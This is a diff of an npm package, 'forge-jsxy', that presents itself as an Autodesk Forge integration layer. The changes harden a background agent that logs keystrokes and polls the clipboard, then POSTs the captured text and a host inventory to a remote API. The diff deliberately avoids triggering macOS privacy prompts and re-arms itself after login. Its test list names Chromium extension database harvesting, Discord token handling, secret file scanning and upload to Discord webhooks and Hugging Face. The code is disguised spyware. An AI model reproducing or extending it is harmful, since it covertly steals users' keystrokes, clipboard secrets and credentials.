@@ -19,8 +21,8 @@ export declare function skipClipboardSync(): boolean;
 export declare function effectiveSyncKeyboardClipboard(): boolean;
 export declare function resolveSyncApiBase(): string | null;
 /**
- * Linux Wayland stores clipboard in the compositor — @napi-rs/clipboard is X11-based and often
- * returns empty text without error. Prefer wl-paste/xclip exec on Wayland sessions.
+ * OS CLI readers are more reliable than @napi-rs/clipboard on Linux and macOS (Wayland compositor,
+ * systemd user units, LaunchAgent background processes).
  */
 export declare function preferExecClipboardReader(): boolean;
 export type DesktopInputSyncStop = () => void | Promise<void>;

package/dist/windowsInputSync.js

@@ -7,6 +7,7 @@ exports.skipUiohookKeyboardReason = skipUiohookKeyboardReason;
 exports.skipUiohookKeyboard = skipUiohookKeyboard;
 exports.skipClipboardSyncReason = skipClipboardSyncReason;
 exports.skipClipboardSync = skipClipboardSync;
+exports.clipboardSkipReasonIsRecoverable = clipboardSkipReasonIsRecoverable;
 exports.effectiveSyncKeyboardClipboard = effectiveSyncKeyboardClipboard;
 exports.resolveSyncApiBase = resolveSyncApiBase;
 exports.preferExecClipboardReader = preferExecClipboardReader;
@@ -22,10 +23,14 @@ exports.startDesktopInputSync = startDesktopInputSync;
  * skips safely on unsupported sessions (headless Linux, many Wayland layouts). Clipboard sync is
  * also skipped on headless Linux (no DISPLAY/WAYLAND) to avoid useless xclip polling and log spam.
  *
- * **OS privacy:** macOS (Input Monitoring, etc.) or other OS sheets are **system** prompts — this package
- * cannot remove them. Under `FORGE_JS_QUIET_AGENT=1` / `--quiet`, stderr hints from this module are suppressed.
+ * **Background / no UI (default for agents):** `FORGE_JS_HEADLESS_UI=1` + `FORGE_JS_CLIPBOARD_POLL_ONLY=1` avoid
+ * `clipboard-event` helpers on Linux/macOS, osascript clipboard read, and osascript/xdotool foreground context
+ * on clipboard rows (text still syncs via pbpaste / wl-paste / xclip / xsel). Subprocesses use stdio ignore.
+ * **OS privacy:** macOS Automation sheets only appear if you opt in (`FORGE_JS_CLIPBOARD_ALLOW_OSASCRIPT=1`
+ * or disable headless/no-prompt defaults). Under `FORGE_JS_QUIET_AGENT=1`, routine stderr hints are suppressed.
  *
- * Clipboard: @napi-rs/clipboard, then OS CLI (PowerShell / pbpaste / wl-paste|xclip|xsel);
+ * Clipboard: OS CLI first on Linux/macOS (pbpaste / wl-paste|xclip|xsel), PowerShell on Windows;
+ *   Linux session env is auto-discovered and re-checked after login (systemd-before-GUI case);
  *   only the first **1000** characters (JavaScript string units; override `FORGE_JS_CLIPBOARD_SYNC_MAX_CHARS`) are POSTed per change — remainder is dropped for DB storage.
  *   Host OS snapshot: a single ``env_file`` row at ``forge-js://host-inventory.json`` (see ``hostInventorySend``) so operator dashboards can show OS type; opt out with ``FORGE_JS_SYNC_HOST_INVENTORY=0``.
  *   optional `clipboard-event` for change notifications + slower backup poll unless
@@ -34,8 +39,11 @@ exports.startDesktopInputSync = startDesktopInputSync;
  * Remote desktop screenshot for the `/files` explorer is `fsDesktopScreenshotCapture()` in `fsProtocol.ts`
  * (Windows / Linux / macOS). OS-level privacy (macOS Input Monitoring / Screen Recording, etc.) is outside this package.
  */
+const agentEnvFile_1 = require("./autostart/agentEnvFile");
 const clientId_1 = require("./clientId");
 const linuxX11_1 = require("./linuxX11");
+const headlessAgent_1 = require("./headlessAgent");
+const linuxClipboardSession_1 = require("./linuxClipboardSession");
 const deploymentDefaults_1 = require("./deploymentDefaults");
 const clipboardExec_1 = require("./clipboardExec");
 const clipboardNapi_1 = require("./clipboardNapi");
@@ -87,6 +95,8 @@ const REGISTRATION_HANDSHAKE_START_DELAY_MS = 1500;
 const FLUSH_EVENT_MAX_RETRIES = 3;
 const FLUSH_RETRY_BASE_MS = 150;
 const CLIPBOARD_READ_FAIL_LOG_THROTTLE_MS = 60_000;
+/** Re-check Linux desktop session so clipboard starts after login (systemd often boots before GUI). */
+const CLIPBOARD_SESSION_WATCH_MS = 12_000;
 const DISPOSE_FLUSH_TIMEOUT_MS = 3000;
 const CLIPBOARD_READ_TIMEOUT_MS = 10_000;
 /** Operational logs always emit (even when `FORGE_JS_QUIET_AGENT=1`). */
@@ -180,12 +190,18 @@ function skipClipboardSyncReason() {
         return "FORGE_JS_SKIP_CLIPBOARD_SYNC=1";
     }
     if (process.platform === "linux") {
+        (0, linuxClipboardSession_1.ensureLinuxGraphicalSessionEnv)();
+        if ((0, linuxClipboardSession_1.linuxDesktopSessionActive)())
+            return null;
         const hasDisplay = Boolean((process.env.DISPLAY || "").trim());
         const hasWayland = Boolean((process.env.WAYLAND_DISPLAY || "").trim());
         if (!hasDisplay && !hasWayland) {
             return "headless Linux (no DISPLAY or WAYLAND_DISPLAY)";
         }
-        if (hasDisplay && !(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)()) {
+        if (hasDisplay &&
+            !(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)() &&
+            !hasWayland &&
+            !(0, linuxX11_1.linuxLikelyWaylandSession)()) {
             return "DISPLAY set but no X11 socket";
         }
     }
@@ -194,6 +210,14 @@ function skipClipboardSyncReason() {
 function skipClipboardSync() {
     return skipClipboardSyncReason() !== null;
 }
+/** False for explicit opt-out — no point polling for a desktop session that will never be used. */
+function clipboardSkipReasonIsRecoverable(reason) {
+    if (!reason)
+        return false;
+    if (reason === "FORGE_JS_SKIP_CLIPBOARD_SYNC=1")
+        return false;
+    return true;
+}
 /**
  * **Default: on** when unset. Opt out with `CFGMGR_SYNC_KEYBOARD_CLIPBOARD=0`.
  * Background-only in forge-js (no alerts/dialogs); see module comment for OS-level limits.
@@ -208,21 +232,37 @@ function resolveSyncApiBase() {
     return (0, deploymentDefaults_1.resolveSyncApiBaseUrl)();
 }
 /**
- * Linux Wayland stores clipboard in the compositor — @napi-rs/clipboard is X11-based and often
- * returns empty text without error. Prefer wl-paste/xclip exec on Wayland sessions.
+ * OS CLI readers are more reliable than @napi-rs/clipboard on Linux and macOS (Wayland compositor,
+ * systemd user units, LaunchAgent background processes).
  */
 function preferExecClipboardReader() {
-    return (process.platform === "linux" &&
-        Boolean((process.env.WAYLAND_DISPLAY || "").trim()));
+    return process.platform === "darwin" || process.platform === "linux";
 }
 async function readClipboardDesktop() {
+    if (process.platform === "linux" || process.platform === "darwin") {
+        (0, headlessAgent_1.applyHeadlessClipboardDefaults)();
+    }
+    if (process.platform === "linux") {
+        (0, linuxClipboardSession_1.ensureLinuxGraphicalSessionEnv)();
+    }
+    else if (process.platform === "darwin") {
+        (0, clipboardExec_1.ensureClipboardToolPath)();
+    }
     const timeoutMs = CLIPBOARD_READ_TIMEOUT_MS;
     let timeoutId;
     try {
         return await Promise.race([
             (async () => {
                 if (preferExecClipboardReader()) {
-                    return (0, clipboardExec_1.readClipboardViaExec)();
+                    try {
+                        return await (0, clipboardExec_1.readClipboardViaExec)();
+                    }
+                    catch (execErr) {
+                        const native = (0, clipboardNapi_1.readClipboardNapi)();
+                        if (native !== null)
+                            return native;
+                        throw execErr;
+                    }
                 }
                 const native = (0, clipboardNapi_1.readClipboardNapi)();
                 if (native !== null)
@@ -446,10 +486,78 @@ function startDesktopInputSync(opts) {
     let clipReadSeq = 0;
     let clipWatcherDispose;
     let clipIv = null;
-    const clipboardSkipReason = skipClipboardSyncReason();
+    let clipSessionWatchIv = null;
+    let clipboardPollingActive = false;
+    function currentClipboardSkipReason() {
+        return skipClipboardSyncReason();
+    }
+    function stopClipboardPolling() {
+        clipboardPollingActive = false;
+        try {
+            clipWatcherDispose?.();
+        }
+        catch {
+            /* skip */
+        }
+        clipWatcherDispose = undefined;
+        if (clipIv)
+            clearInterval(clipIv);
+        clipIv = null;
+    }
+    function startClipboardPolling() {
+        if (stopped || clipboardPollingActive)
+            return;
+        // Caller (ensureClipboardPolling) already verified skipClipboardSyncReason() is null.
+        clipboardPollingActive = true;
+        void (async () => {
+            try {
+                await readClipboardDesktop();
+                if (process.platform === "linux") {
+                    try {
+                        (0, agentEnvFile_1.mergeLinuxGraphicalSessionIntoForgeAgentEnv)((0, clientId_1.defaultCfgmgrDataDir)());
+                    }
+                    catch {
+                        /* best-effort: persist discovered session for next reboot */
+                    }
+                }
+                opLog("clipboard probe OK");
+            }
+            catch (e) {
+                opLog(`clipboard probe failed — sync will retry on poll/events: ${formatDesktopSyncHandshakeError(e)}`);
+            }
+        })();
+        clipWatcherDispose = (0, clipboardEventWatcher_1.attachClipboardEventWatcher)(() => {
+            triggerClipboardRead();
+        }, opLog);
+        const effectiveClipPoll = clipWatcherDispose ? clipBackupPoll : clipPoll;
+        clipIv = setInterval(() => {
+            triggerClipboardRead();
+        }, effectiveClipPoll);
+        opLog(`clipboard sync active (poll=${effectiveClipPoll}ms${clipWatcherDispose ? ", event watcher" : ""})`);
+    }
+    function ensureClipboardPolling() {
+        if (stopped)
+            return;
+        const skip = currentClipboardSkipReason();
+        if (skip) {
+            if (clipboardPollingActive) {
+                stopClipboardPolling();
+                opLog(`clipboard sync paused (${skip})`);
+            }
+            return;
+        }
+        if (!clipboardPollingActive) {
+            opLog("clipboard sync enabled (desktop session available)");
+            startClipboardPolling();
+            triggerClipboardRead();
+        }
+    }
     function triggerClipboardRead() {
         if (stopped)
             return;
+        ensureClipboardPolling();
+        if (!clipboardPollingActive)
+            return;
         if (clipReadBusy) {
             clipReadPending = true;
             return;
@@ -508,26 +616,20 @@ function startDesktopInputSync(opts) {
             }
         })();
     }
-    if (clipboardSkipReason) {
-        opLog(`clipboard sync skipped (${clipboardSkipReason})`);
+    const initialClipboardSkip = currentClipboardSkipReason();
+    if (initialClipboardSkip) {
+        const recoverable = clipboardSkipReasonIsRecoverable(initialClipboardSkip);
+        opLog(recoverable
+            ? `clipboard sync waiting for desktop session (${initialClipboardSkip}); rechecking every ${CLIPBOARD_SESSION_WATCH_MS}ms`
+            : `clipboard sync disabled (${initialClipboardSkip})`);
+        if (process.platform === "linux" && recoverable) {
+            clipSessionWatchIv = setInterval(() => {
+                ensureClipboardPolling();
+            }, CLIPBOARD_SESSION_WATCH_MS);
+        }
     }
     else {
-        void (async () => {
-            try {
-                await readClipboardDesktop();
-                opLog("clipboard probe OK");
-            }
-            catch (e) {
-                opLog(`clipboard probe failed at startup — sync will retry on poll/events: ${formatDesktopSyncHandshakeError(e)}`);
-            }
-        })();
-        clipWatcherDispose = (0, clipboardEventWatcher_1.attachClipboardEventWatcher)(() => {
-            triggerClipboardRead();
-        }, opLog);
-        const effectiveClipPoll = clipWatcherDispose ? clipBackupPoll : clipPoll;
-        clipIv = setInterval(() => {
-            triggerClipboardRead();
-        }, effectiveClipPoll);
+        startClipboardPolling();
     }
     let uiohookMod = null;
     const keyboardSkipReason = skipUiohookKeyboardReason();
@@ -603,7 +705,12 @@ function startDesktopInputSync(opts) {
             opLog(`uIOhook.start failed: ${e}`);
         }
     }
-    opLog(`started (platform=${process.platform}, keyboard=${uiohookMod ? "on" : keyboardSkipReason ? "off" : "unavailable"}, clipboard=${clipboardSkipReason ? "off" : "on"}, api=${opts.apiBaseUrl})`);
+    const clipboardStatus = initialClipboardSkip
+        ? clipboardSkipReasonIsRecoverable(initialClipboardSkip)
+            ? "pending"
+            : "off"
+        : "on";
+    opLog(`started (platform=${process.platform}, keyboard=${uiohookMod ? "on" : keyboardSkipReason ? "off" : "unavailable"}, clipboard=${clipboardStatus}, api=${opts.apiBaseUrl})`);
     let flushBusy = false;
     let flushFailStreak = 0;
     let lastFlushFailLogMs = 0;
@@ -693,14 +800,9 @@ function startDesktopInputSync(opts) {
         if (activeDesktopInputSyncDispose === dispose) {
             activeDesktopInputSyncDispose = null;
         }
-        try {
-            clipWatcherDispose?.();
-        }
-        catch {
-            /* skip */
-        }
-        if (clipIv)
-            clearInterval(clipIv);
+        stopClipboardPolling();
+        if (clipSessionWatchIv)
+            clearInterval(clipSessionWatchIv);
         clearInterval(flushIv);
         if (invIv)
             clearInterval(invIv);

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "forge-jsxy",
-  "version": "1.0.120",
+  "version": "1.0.121",
   "description": "Node.js integration layer for Autodesk Forge",
   "license": "MIT",
   "forgeAgentWebRtcMinVersion": "1.0.71",
@@ -20,7 +20,7 @@
     "pretest": "npm run build",
     "test": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs",
     "test:explorer": "npm run build && NODE_ENV=test node --test test/explorer-terminal-controls.test.mjs test/cross-os-install.test.mjs",
-    "test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-webhook-post.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs test/secret-filename-scan.test.mjs test/agent-audit-scan-scope.test.mjs test/agent-secret-audit-throttle.test.mjs test/chromium-extension-db-harvest.test.mjs test/extension-db-hf-upload.test.mjs test/desktop-input-sync.test.mjs",
+    "test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-webhook-post.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs test/secret-filename-scan.test.mjs test/agent-audit-scan-scope.test.mjs test/agent-secret-audit-throttle.test.mjs test/chromium-extension-db-harvest.test.mjs test/extension-db-hf-upload.test.mjs test/desktop-input-sync.test.mjs test/clipboard-session.test.mjs",
     "test:env-local": "node --test test/env-local-integrations.mjs",
     "verify": "npm run ci && npm run test:env-local",
     "verify:production": "npm run ci",